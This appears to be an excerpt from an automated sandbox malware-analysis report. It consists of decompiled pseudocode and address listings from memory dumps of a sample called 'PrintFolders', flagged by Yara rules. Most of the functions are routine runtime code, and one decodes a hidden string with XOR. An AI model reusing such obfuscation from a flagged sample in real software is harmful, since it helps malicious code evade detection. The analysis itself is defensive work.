                                                          							_v8 = 0x3f2a;
                                                          							_v6 = _t222;
                                                          							_t217 = E1000D010(_t132,  &_v8);
                                                          							_t234 =  *_t292;
                                                          							__eflags = _t217;
                                                          							if(_t217 != 0) {
                                                          								_push( &(_v608.cAlternateFileName));
                                                          								_push(_t217);
                                                          								_push(_t234);
                                                          								L46();
                                                          								_t309 = _t309 + 0xc;
                                                          								_v12 = _t217;
                                                          								_t297 = _t217;
                                                          							} else {
                                                          								_t218 =  &(_v608.cAlternateFileName);
                                                          								_push(_t218);
                                                          								_push(_t222);
                                                          								_push(_t222);
                                                          								_push(_t234);
                                                          								L33();
                                                          								_t297 = _t218;
                                                          								_t309 = _t309 + 0x10;
                                                          								_v12 = _t297;
                                                          							}
                                                          							__eflags = _t297;
                                                          							if(_t297 != 0) {
                                                          								break;
                                                          							}
                                                          							_t292 =  &(_a4[1]);
                                                          							_a4 = _t292;
                                                          							_t132 =  *_t292;
                                                          							__eflags = _t132;
                                                          							if(_t132 != 0) {
                                                          								continue;
                                                          							} else {
                                                          								_t283 = _v608.cAlternateFileName;
                                                          								_t232 = _v40;
                                                          								goto L9;
                                                          							}
                                                          							goto L81;
                                                          						}
                                                          						_t283 = _v608.cAlternateFileName;
                                                          						L26:
                                                          						_t272 = _t283;
                                                          						_v32 = _t272;
                                                          						__eflags = _v40 - _t272;
                                                          						asm("sbb ecx, ecx");
                                                          						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
                                                          						__eflags = _t236;
                                                          						_v28 = _t236;
                                                          						if(_t236 != 0) {
                                                          							_t299 = _t236;
                                                          							do {
                                                          								E10008701( *_t283);
                                                          								_t222 = _t222 + 1;
                                                          								_t283 = _t283 + 4;
                                                          								__eflags = _t222 - _t299;
                                                          							} while (_t222 != _t299);
                                                          							_t283 = _v608.cAlternateFileName;
                                                          							_t297 = _v12;
                                                          						}
                                                          						E10008701(_t283);
                                                          						goto L31;
                                                          					}
                                                          				} else {
                                                          					_t219 = E10006406(_t317);
                                                          					_t297 = 0x16;
                                                          					 *_t219 = _t297;
                                                          					E1000632C();
                                                          					L31:
                                                          					return _t297;
                                                          				}
                                                          				L81:
                                                          			}

















































































































                                                          0x100093b3
                                                          0x100093b6
                                                          0x100093b9
                                                          0x100093ba
                                                          0x100093bc
                                                          0x100093d2
                                                          0x100093d6
                                                          0x100093d9
                                                          0x100093db
                                                          0x100093dd
                                                          0x100093df
                                                          0x100093e1
                                                          0x100093e4
                                                          0x100093e7
                                                          0x100093ea
                                                          0x100093ec
                                                          0x1000944f
                                                          0x10009451
                                                          0x10009454
                                                          0x10009456
                                                          0x1000945a
                                                          0x10009463
                                                          0x10009464
                                                          0x10009467
                                                          0x10009469
                                                          0x1000946c
                                                          0x10009470
                                                          0x10009470
                                                          0x10009472
                                                          0x10009474
                                                          0x10009476
                                                          0x10009478
                                                          0x10009478
                                                          0x1000947a
                                                          0x1000947d
                                                          0x10009480
                                                          0x10009480
                                                          0x10009482
                                                          0x10009483
                                                          0x10009483
                                                          0x1000948e
                                                          0x10009490
                                                          0x10009493
                                                          0x10009494
                                                          0x10009497
                                                          0x10009497
                                                          0x1000949b
                                                          0x1000949e
                                                          0x100094a1
                                                          0x100094a1
                                                          0x100094a1
                                                          0x100094ae
                                                          0x100094b0
                                                          0x100094b3
                                                          0x100094b5
                                                          0x100094cd
                                                          0x100094d0
                                                          0x100094d3
                                                          0x100094d5
                                                          0x100094d8
                                                          0x100094da
                                                          0x100094dd
                                                          0x100094e0
                                                          0x1000953d
                                                          0x10009540
                                                          0x10009543
                                                          0x10009545
                                                          0x00000000
                                                          0x100094e2
                                                          0x100094e4
                                                          0x100094e4
                                                          0x100094e6
                                                          0x100094e9
                                                          0x100094e9
                                                          0x100094eb
                                                          0x100094ed
                                                          0x100094f3
                                                          0x100094f6
                                                          0x100094f6
                                                          0x100094f8
                                                          0x100094f9
                                                          0x100094f9
                                                          0x10009500
                                                          0x10009503
                                                          0x10009507
                                                          0x10009514
                                                          0x10009519
                                                          0x1000951c
                                                          0x1000951e
                                                          0x10009592
                                                          0x10009593
                                                          0x10009594
                                                          0x10009595
                                                          0x10009596
                                                          0x10009597
                                                          0x1000959c
                                                          0x100095a0
                                                          0x100095a2
                                                          0x100095a3
                                                          0x100095a6
                                                          0x100095a6
                                                          0x100095a9
                                                          0x100095a9
                                                          0x100095ab
                                                          0x100095ac
                                                          0x100095ac
                                                          0x100095b0
                                                          0x100095b1
                                                          0x100095b8
                                                          0x100095bb
                                                          0x100095be
                                                          0x100095c0
                                                          0x100095c8
                                                          0x100095c9
                                                          0x100095ca
                                                          0x100095cd
                                                          0x100095d7
                                                          0x100095db
                                                          0x100095dd
                                                          0x100095f1
                                                          0x100095f1
                                                          0x100095f4
                                                          0x100095fe
                                                          0x10009603
                                                          0x10009606
                                                          0x10009608
                                                          0x00000000
                                                          0x1000960a
                                                          0x1000960a
                                                          0x1000960f
                                                          0x10009616
                                                          0x10009619
                                                          0x1000961b
                                                          0x1000962c
                                                          0x1000962e
                                                          0x10009630
                                                          0x10009630
                                                          0x10009630
                                                          0x1000961d
                                                          0x1000961e
                                                          0x10009623
                                                          0x10009626
                                                          0x10009635
                                                          0x1000963b
                                                          0x00000000
                                                          0x1000963e
                                                          0x100095df
                                                          0x100095df
                                                          0x100095e5
                                                          0x100095ea
                                                          0x100095ed
                                                          0x100095ef
                                                          0x10009641
                                                          0x10009643
                                                          0x10009644
                                                          0x10009645
                                                          0x10009646
                                                          0x10009647
                                                          0x10009648
                                                          0x1000964d
                                                          0x10009650
                                                          0x10009651
                                                          0x10009653
                                                          0x10009659
                                                          0x10009660
                                                          0x10009663
                                                          0x10009666
                                                          0x10009669
                                                          0x1000966a
                                                          0x1000966b
                                                          0x1000966e
                                                          0x10009674
                                                          0x10009676
                                                          0x10009678
                                                          0x10009678
                                                          0x1000967a
                                                          0x1000967c
                                                          0x00000000
                                                          0x00000000
                                                          0x1000967e
                                                          0x10009680
                                                          0x10009682
                                                          0x10009684
                                                          0x1000968f
                                                          0x10009691
                                                          0x10009693
                                                          0x00000000
                                                          0x00000000
                                                          0x10009693
                                                          0x10009684
                                                          0x00000000
                                                          0x10009680
                                                          0x10009695
                                                          0x10009695
                                                          0x1000969b
                                                          0x1000969d
                                                          0x100096a3
                                                          0x100096a5
                                                          0x100096c7
                                                          0x100096c7
                                                          0x100096c9
                                                          0x100096cb
                                                          0x100096d7
                                                          0x100096d7
                                                          0x100096cd
                                                          0x100096cd
                                                          0x100096cf
                                                          0x00000000
                                                          0x100096d1
                                                          0x100096d1
                                                          0x100096d3
                                                          0x100096d5
                                                          0x00000000
                                                          0x00000000
                                                          0x100096d5
                                                          0x100096cf
                                                          0x100096df
                                                          0x100096e7
                                                          0x100096ed
                                                          0x100096ee
                                                          0x100096f0
                                                          0x100096f8
                                                          0x100096fe
                                                          0x10009704
                                                          0x1000970a
                                                          0x1000971e
                                                          0x10009723
                                                          0x1000972e
                                                          0x1000973e
                                                          0x10009744
                                                          0x10009746
                                                          0x10009749
                                                          0x1000976c
                                                          0x1000976c
                                                          0x10009771
                                                          0x10009777
                                                          0x10009777
                                                          0x1000977d
                                                          0x10009783
                                                          0x10009789
                                                          0x1000978f
                                                          0x10009795
                                                          0x100097b6
                                                          0x100097bb
                                                          0x100097c0
                                                          0x100097c4
                                                          0x100097ca
                                                          0x100097cd
                                                          0x100097e0
                                                          0x100097e0
                                                          0x100097e6
                                                          0x100097ec
                                                          0x100097ed
                                                          0x100097ee
                                                          0x100097f3
                                                          0x100097f6
                                                          0x100097fc
                                                          0x100097fe
                                                          0x1000985c
                                                          0x10009862
                                                          0x1000986a
                                                          0x1000986f
                                                          0x10009875
                                                          0x10009876
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100097cf
                                                          0x100097cf
                                                          0x100097d2
                                                          0x100097d4
                                                          0x00000000
                                                          0x100097d6
                                                          0x100097d6
                                                          0x100097d9
                                                          0x00000000
                                                          0x100097db
                                                          0x100097db
                                                          0x100097de
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100097de
                                                          0x100097d9
                                                          0x100097d4
                                                          0x10009878
                                                          0x10009879
                                                          0x00000000
                                                          0x10009800
                                                          0x10009800
                                                          0x10009806
                                                          0x1000980e
                                                          0x10009813
                                                          0x10009822
                                                          0x10009822
                                                          0x1000982a
                                                          0x10009830
                                                          0x10009836
                                                          0x1000983d
                                                          0x10009840
                                                          0x10009842
                                                          0x10009852
                                                          0x10009857
                                                          0x00000000
                                                          0x1000974b
                                                          0x1000974b
                                                          0x10009751
                                                          0x10009752
                                                          0x10009753
                                                          0x10009754
                                                          0x1000975c
                                                          0x1000975c
                                                          0x1000987f
                                                          0x1000987f
                                                          0x10009886
                                                          0x10009887
                                                          0x1000988f
                                                          0x10009894
                                                          0x10009895
                                                          0x100096a7
                                                          0x100096a7
                                                          0x100096aa
                                                          0x100096ac
                                                          0x100096c1
                                                          0x00000000
                                                          0x100096ae
                                                          0x100096ae
                                                          0x100096b1
                                                          0x100096b2
                                                          0x100096b3
                                                          0x100096b4
                                                          0x100096b9
                                                          0x100096ac
                                                          0x1000989a
                                                          0x1000989b
                                                          0x1000989d
                                                          0x100098a4
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100095ef
                                                          0x100095c2
                                                          0x100095c4
                                                          0x100095c5
                                                          0x100095c7
                                                          0x100095c7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10009520
                                                          0x10009520
                                                          0x10009526
                                                          0x10009529
                                                          0x1000952c
                                                          0x1000952f
                                                          0x10009532
                                                          0x10009535
                                                          0x10009538
                                                          0x10009538
                                                          0x00000000
                                                          0x100094e9
                                                          0x100094b7
                                                          0x100094b7
                                                          0x100094ba
                                                          0x10009547
                                                          0x10009548
                                                          0x1000954d
                                                          0x00000000
                                                          0x1000954d
                                                          0x100093ee
                                                          0x100093ee
                                                          0x100093f1
                                                          0x100093f9
                                                          0x100093fc
                                                          0x10009403
                                                          0x10009405
                                                          0x10009407
                                                          0x10009422
                                                          0x10009423
                                                          0x10009424
                                                          0x10009425
                                                          0x1000942a
                                                          0x1000942d
                                                          0x10009430
                                                          0x10009409
                                                          0x10009409
                                                          0x1000940c
                                                          0x1000940d
                                                          0x1000940e
                                                          0x1000940f
                                                          0x10009410
                                                          0x10009415
                                                          0x10009417
                                                          0x1000941a
                                                          0x1000941a
                                                          0x10009432
                                                          0x10009434
                                                          0x00000000
                                                          0x00000000
                                                          0x1000943d
                                                          0x10009440
                                                          0x10009443
                                                          0x10009445
                                                          0x10009447
                                                          0x00000000
                                                          0x10009449
                                                          0x10009449
                                                          0x1000944c
                                                          0x00000000
                                                          0x1000944c
                                                          0x00000000
                                                          0x10009447
                                                          0x100094c2
                                                          0x1000954e
                                                          0x10009551
                                                          0x10009555
                                                          0x1000955e
                                                          0x10009561
                                                          0x10009565
                                                          0x10009565
                                                          0x10009567
                                                          0x1000956a
                                                          0x1000956c
                                                          0x1000956e
                                                          0x10009570
                                                          0x10009575
                                                          0x10009576
                                                          0x1000957a
                                                          0x1000957a
                                                          0x1000957e
                                                          0x10009581
                                                          0x10009581
                                                          0x10009585
                                                          0x00000000
                                                          0x1000958c
                                                          0x100093be
                                                          0x100093be
                                                          0x100093c5
                                                          0x100093c6
                                                          0x100093c8
                                                          0x1000958d
                                                          0x10009591
                                                          0x10009591
                                                          0x00000000

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID: *?
                                                          • API String ID: 269201875-2564092906
                                                          • Opcode ID: 72a3e4ca702a8c4f9c99998b4a73be40bf4d94a3e87db8c17ad137306030f0af
                                                          • Instruction ID: 0340fc811119e07594000e71e8d06bdc8eabf6b4f8489cd8c2a7edce7445303f
                                                          • Opcode Fuzzy Hash: 72a3e4ca702a8c4f9c99998b4a73be40bf4d94a3e87db8c17ad137306030f0af
                                                          • Instruction Fuzzy Hash: E0617EB5E0021A9FEB14CFA9C8819DDFBF5FF48390B25816AE815F7344D631AE418B90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 89%
                                                          			E00421875(void* __eflags, intOrPtr _a4, int _a8, intOrPtr _a12, intOrPtr _a16, short* _a20, intOrPtr _a24, intOrPtr _a28) {
                                                          				signed int _v8;
                                                          				intOrPtr _v12;
                                                          				signed int _v16;
                                                          				char _v20;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				void* _v44;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t30;
                                                          				signed int _t36;
                                                          				signed int _t40;
                                                          				int _t43;
                                                          				intOrPtr _t55;
                                                          				int _t56;
                                                          				short* _t57;
                                                          				signed int _t58;
                                                          				void* _t59;
                                                          				short* _t60;
                                                          
                                                          				_t30 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t30 ^ _t58;
                                                          				E00413621( &_v32, _t55, _a4);
                                                          				_t48 = _a24;
                                                          				if(_a24 == 0) {
                                                          					_t48 =  *((intOrPtr*)(_v28 + 8));
                                                          				}
                                                          				_t56 = 0;
                                                          				_t36 = E0041FE48(_t48, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
                                                          				_t60 = _t59 + 0x18;
                                                          				_v16 = _t36;
                                                          				if(_t36 == 0) {
                                                          					L16:
                                                          					if(_v20 != 0) {
                                                          						 *(_v32 + 0x350) =  *(_v32 + 0x350) & 0xfffffffd;
                                                          					}
                                                          					return E0040EBBF(_t56, _t48, _v8 ^ _t58, _t55, _t56, _t57);
                                                          				} else {
                                                          					_t55 = _t36 + _t36;
                                                          					_v12 = _t55;
                                                          					asm("sbb eax, eax");
                                                          					_t40 = _t36 & _t55 + 0x00000008;
                                                          					if(_t40 == 0) {
                                                          						_t57 = 0;
                                                          						L12:
                                                          						if(_t57 != 0) {
                                                          							E00410B00(_t56, _t57, _t56, _t55);
                                                          							_t43 = E0041FE48(_t48, 1, _a12, _a16, _t57, _v16);
                                                          							if(_t43 != 0) {
                                                          								_t56 = GetStringTypeW(_a8, _t57, _t43, _a20);
                                                          							}
                                                          						}
                                                          						E0040EBA1(_t57);
                                                          						goto L16;
                                                          					}
                                                          					if(_t40 > 0x400) {
                                                          						_t57 = E0041ED2F(_t40);
                                                          						if(_t57 == 0) {
                                                          							L10:
                                                          							_t55 = _v12;
                                                          							goto L12;
                                                          						}
                                                          						 *_t57 = 0xdddd;
                                                          						L9:
                                                          						_t57 =  &(_t57[4]);
                                                          						goto L10;
                                                          					}
                                                          					E0040F580(_t40);
                                                          					_t57 = _t60;
                                                          					if(_t57 == 0) {
                                                          						goto L10;
                                                          					}
                                                          					 *_t57 = 0xcccc;
                                                          					goto L9;
                                                          				}
                                                          			}























                                                          0x0042187d
                                                          0x00421884
                                                          0x00421890
                                                          0x00421895
                                                          0x0042189a
                                                          0x0042189f
                                                          0x0042189f
                                                          0x004218a4
                                                          0x004218bd
                                                          0x004218c2
                                                          0x004218c5
                                                          0x004218ca
                                                          0x00421954
                                                          0x00421958
                                                          0x0042195d
                                                          0x0042195d
                                                          0x00421977
                                                          0x004218d0
                                                          0x004218d0
                                                          0x004218d6
                                                          0x004218db
                                                          0x004218dd
                                                          0x004218df
                                                          0x00421916
                                                          0x00421918
                                                          0x0042191a
                                                          0x0042191f
                                                          0x00421931
                                                          0x0042193b
                                                          0x0042194b
                                                          0x0042194b
                                                          0x0042193b
                                                          0x0042194e
                                                          0x00000000
                                                          0x00421953
                                                          0x004218e6
                                                          0x00421901
                                                          0x00421906
                                                          0x00421911
                                                          0x00421911
                                                          0x00000000
                                                          0x00421911
                                                          0x00421908
                                                          0x0042190e
                                                          0x0042190e
                                                          0x00000000
                                                          0x0042190e
                                                          0x004218e8
                                                          0x004218ed
                                                          0x004218f1
                                                          0x00000000
                                                          0x00000000
                                                          0x004218f3
                                                          0x00000000
                                                          0x004218f3

                                                          APIs
                                                          • __alloca_probe_16.LIBCMT ref: 004218E8
                                                          • GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 00421945
                                                          • __freea.LIBCMT ref: 0042194E
                                                            • Part of subcall function 0041ED2F: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041ED61
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocateHeapStringType__alloca_probe_16__freea
                                                          • String ID: tIB
                                                          • API String ID: 2035984020-366005614
                                                          • Opcode ID: eda957cfb15ef7941afacb619c8722be3406a97b873fedbfb145e6bb9f7ac986
                                                          • Instruction ID: e53cbf2fbd7e5de764d6e10ddde7606d24dd4c66cd89eb36cbd394391ca5fa72
                                                          • Opcode Fuzzy Hash: eda957cfb15ef7941afacb619c8722be3406a97b873fedbfb145e6bb9f7ac986
                                                          • Instruction Fuzzy Hash: A831D2B1A0022AABDB209F66DC41DEF7BB5EF54314F45416AFC04A7261D738C991CBA4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E004012E0(void* __ebx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				short _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				void* __ebp;
                                                          				signed int _t11;
                                                          				intOrPtr _t14;
                                                          				intOrPtr _t15;
                                                          				void* _t19;
                                                          				void* _t24;
                                                          				intOrPtr* _t26;
                                                          				void* _t31;
                                                          				void* _t32;
                                                          				void* _t33;
                                                          				signed int _t34;
                                                          				void* _t35;
                                                          
                                                          				_t33 = __esi;
                                                          				_t32 = __edi;
                                                          				_t24 = __ebx;
                                                          				_t11 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t11 ^ _t34;
                                                          				_v20 = 0x5c4f5c4c;
                                                          				_v16 = 0x465e0057;
                                                          				_v12 = 0x2e5e;
                                                          				_t25 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          				_t14 =  *0x450fcc; // 0x80000004
                                                          				if(_t14 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
                                                          					E0040EF48(_t14, 0x450fcc);
                                                          					_t35 = _t35 + 4;
                                                          					_t38 =  *0x450fcc - 0xffffffff;
                                                          					if( *0x450fcc == 0xffffffff) {
                                                          						asm("movaps xmm0, [0x439d50]");
                                                          						asm("movups [0x450d48], xmm0");
                                                          						asm("movq xmm0, [ebp-0x10]");
                                                          						asm("movq [0x450d58], xmm0");
                                                          						 *0x450d60 = _v12;
                                                          						E0040F25B(_t25, _t38, 0x42d270);
                                                          						E0040EEFE(0x450fcc);
                                                          						_t35 = _t35 + 8;
                                                          					}
                                                          				}
                                                          				if( *0x450d61 == 0) {
                                                          					L6:
                                                          					_t26 = 0x450d48;
                                                          					 *0x450e6c = 0;
                                                          					 *0x450e7c = 0;
                                                          					 *0x450e80 = 0xf;
                                                          					_t9 = _t26 + 1; // 0x450d49
                                                          					_t31 = _t9;
                                                          					do {
                                                          						_t15 =  *_t26;
                                                          						_t26 = _t26 + 1;
                                                          						_t41 = _t15;
                                                          					} while (_t15 != 0);
                                                          					E004026B0(_t24, 0x450e6c, 0x450d48, _t26 - _t31);
                                                          					return E0040EBBF(E0040F25B(0x450e6c, _t41, 0x42d210), _t24, _v8 ^ _t34, _t31, _t32, _t33);
                                                          				} else {
                                                          					asm("movups xmm0, [0x450d48]");
                                                          					_t19 = 0x10;
                                                          					asm("movaps xmm1, [0x439d30]");
                                                          					asm("pxor xmm1, xmm0");
                                                          					asm("movups [0x450d48], xmm1");
                                                          					do {
                                                          						 *(_t19 + 0x450d48) =  *(_t19 + 0x450d48) ^ 0x0000002e;
                                                          						_t19 = _t19 + 1;
                                                          					} while (_t19 < 0x1a);
                                                          					goto L6;
                                                          				}
                                                          			}



















                                                          0x004012e0
                                                          0x004012e0
                                                          0x004012e0
                                                          0x004012e6
                                                          0x004012ed
                                                          0x004012f6
                                                          0x004012fd
                                                          0x00401304
                                                          0x0040130a
                                                          0x0040130c
                                                          0x00401317
                                                          0x0040131e
                                                          0x00401323
                                                          0x00401326
                                                          0x0040132d
                                                          0x0040132f
                                                          0x0040133a
                                                          0x00401346
                                                          0x0040134b
                                                          0x00401353
                                                          0x00401359
                                                          0x00401363
                                                          0x00401368
                                                          0x00401368
                                                          0x0040132d
                                                          0x00401372
                                                          0x0040139f
                                                          0x0040139f
                                                          0x004013a4
                                                          0x004013ae
                                                          0x004013b8
                                                          0x004013c2
                                                          0x004013c2
                                                          0x004013c5
                                                          0x004013c5
                                                          0x004013c7
                                                          0x004013c8
                                                          0x004013c8
                                                          0x004013d9
                                                          0x004013f8
                                                          0x00401374
                                                          0x00401374
                                                          0x0040137b
                                                          0x00401380
                                                          0x00401387
                                                          0x0040138b
                                                          0x00401392
                                                          0x00401392
                                                          0x00401399
                                                          0x0040139a
                                                          0x00000000
                                                          0x00401392

                                                          APIs
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 00401363
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
                                                          • String ID: L\O\$W$^.
                                                          • API String ID: 2296764815-2954420958
                                                          • Opcode ID: 466d19772e7674810153093e6f61bbe3c851cf9c15c590cddcd6ca1366938e27
                                                          • Instruction ID: ee1b09ab654b966cb7d5fff89a1237d5bce974de8ca2d720cb455b5a0ca2e737
                                                          • Opcode Fuzzy Hash: 466d19772e7674810153093e6f61bbe3c851cf9c15c590cddcd6ca1366938e27
                                                          • Instruction Fuzzy Hash: 8321243890074486E710AFB4EC4776D7370BF45309F24867AD8492A6F3E7B9A588CB4C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 67%
                                                          			E00411EBB(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				signed int* _t52;
                                                          				signed int _t53;
                                                          				intOrPtr _t54;
                                                          				signed int _t58;
                                                          				signed int _t61;
                                                          				intOrPtr _t71;
                                                          				signed int _t75;
                                                          				signed int _t79;
                                                          				signed int _t81;
                                                          				signed int _t84;
                                                          				signed int _t85;
                                                          				signed int _t97;
                                                          				signed int* _t98;
                                                          				signed char* _t101;
                                                          				signed int _t107;
                                                          				void* _t111;
                                                          
                                                          				_push(0x10);
                                                          				_push(0x43b8f8);
                                                          				E0040F9E0(__ebx, __edi, __esi);
                                                          				_t75 = 0;
                                                          				_t52 =  *(_t111 + 0x10);
                                                          				_t81 = _t52[1];
                                                          				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
                                                          					L30:
                                                          					_t53 = 0;
                                                          					__eflags = 0;
                                                          					goto L31;
                                                          				} else {
                                                          					_t97 = _t52[2];
                                                          					if(_t97 != 0 ||  *_t52 < 0) {
                                                          						_t84 =  *_t52;
                                                          						_t107 =  *(_t111 + 0xc);
                                                          						if(_t84 >= 0) {
                                                          							_t107 = _t107 + 0xc + _t97;
                                                          						}
                                                          						 *(_t111 - 4) = _t75;
                                                          						_t101 =  *(_t111 + 0x14);
                                                          						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
                                                          							L10:
                                                          							_t54 =  *((intOrPtr*)(_t111 + 8));
                                                          							__eflags = _t84 & 0x00000008;
                                                          							if((_t84 & 0x00000008) == 0) {
                                                          								__eflags =  *_t101 & 0x00000001;
                                                          								if(( *_t101 & 0x00000001) == 0) {
                                                          									_t84 =  *(_t54 + 0x18);
                                                          									__eflags = _t101[0x18] - _t75;
                                                          									if(_t101[0x18] != _t75) {
                                                          										__eflags = _t84;
                                                          										if(_t84 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											__eflags = _t107;
                                                          											if(_t107 == 0) {
                                                          												goto L32;
                                                          											} else {
                                                          												__eflags =  *_t101 & 0x00000004;
                                                          												_t79 = 0;
                                                          												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
                                                          												__eflags = _t75;
                                                          												 *(_t111 - 0x20) = _t75;
                                                          												goto L29;
                                                          											}
                                                          										}
                                                          									} else {
                                                          										__eflags = _t84;
                                                          										if(_t84 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											__eflags = _t107;
                                                          											if(_t107 == 0) {
                                                          												goto L32;
                                                          											} else {
                                                          												E004104C0(_t107, E0041011F(_t84,  &(_t101[8])), _t101[0x14]);
                                                          												goto L29;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									__eflags =  *(_t54 + 0x18);
                                                          									if( *(_t54 + 0x18) == 0) {
                                                          										goto L32;
                                                          									} else {
                                                          										__eflags = _t107;
                                                          										if(_t107 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											E004104C0(_t107,  *(_t54 + 0x18), _t101[0x14]);
                                                          											__eflags = _t101[0x14] - 4;
                                                          											if(_t101[0x14] == 4) {
                                                          												__eflags =  *_t107;
                                                          												if( *_t107 != 0) {
                                                          													_push( &(_t101[8]));
                                                          													_push( *_t107);
                                                          													goto L21;
                                                          												}
                                                          											}
                                                          											goto L29;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t84 =  *(_t54 + 0x18);
                                                          								goto L12;
                                                          							}
                                                          						} else {
                                                          							_t71 =  *0x450568; // 0x0
                                                          							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
                                                          							if(_t71 == 0) {
                                                          								goto L10;
                                                          							} else {
                                                          								 *0x42e234();
                                                          								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
                                                          								L12:
                                                          								if(_t84 == 0 || _t107 == 0) {
                                                          									L32:
                                                          									E00419C49(_t75, _t84, _t97, _t101, _t107);
                                                          									asm("int3");
                                                          									_push(8);
                                                          									_push(0x43b918);
                                                          									E0040F9E0(_t75, _t101, _t107);
                                                          									_t98 =  *(_t111 + 0x10);
                                                          									_t85 =  *(_t111 + 0xc);
                                                          									__eflags =  *_t98;
                                                          									if(__eflags >= 0) {
                                                          										_t103 = _t85 + 0xc + _t98[2];
                                                          										__eflags = _t85 + 0xc + _t98[2];
                                                          									} else {
                                                          										_t103 = _t85;
                                                          									}
                                                          									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
                                                          									_t108 =  *(_t111 + 0x14);
                                                          									_push( *(_t111 + 0x14));
                                                          									_push(_t98);
                                                          									_push(_t85);
                                                          									_t77 =  *((intOrPtr*)(_t111 + 8));
                                                          									_push( *((intOrPtr*)(_t111 + 8)));
                                                          									_t58 = E00411EBB(_t77, _t103, _t108, __eflags) - 1;
                                                          									__eflags = _t58;
                                                          									if(_t58 == 0) {
                                                          										_t61 = E00412BBB(_t103, _t108[0x18], E0041011F( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
                                                          									} else {
                                                          										_t61 = _t58 - 1;
                                                          										__eflags = _t61;
                                                          										if(_t61 == 0) {
                                                          											_t61 = E00412BCB(_t103, _t108[0x18], E0041011F( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
                                                          										}
                                                          									}
                                                          									 *(_t111 - 4) = 0xfffffffe;
                                                          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
                                                          									return _t61;
                                                          								} else {
                                                          									 *_t107 = _t84;
                                                          									_push( &(_t101[8]));
                                                          									_push(_t84);
                                                          									L21:
                                                          									 *_t107 = E0041011F();
                                                          									L29:
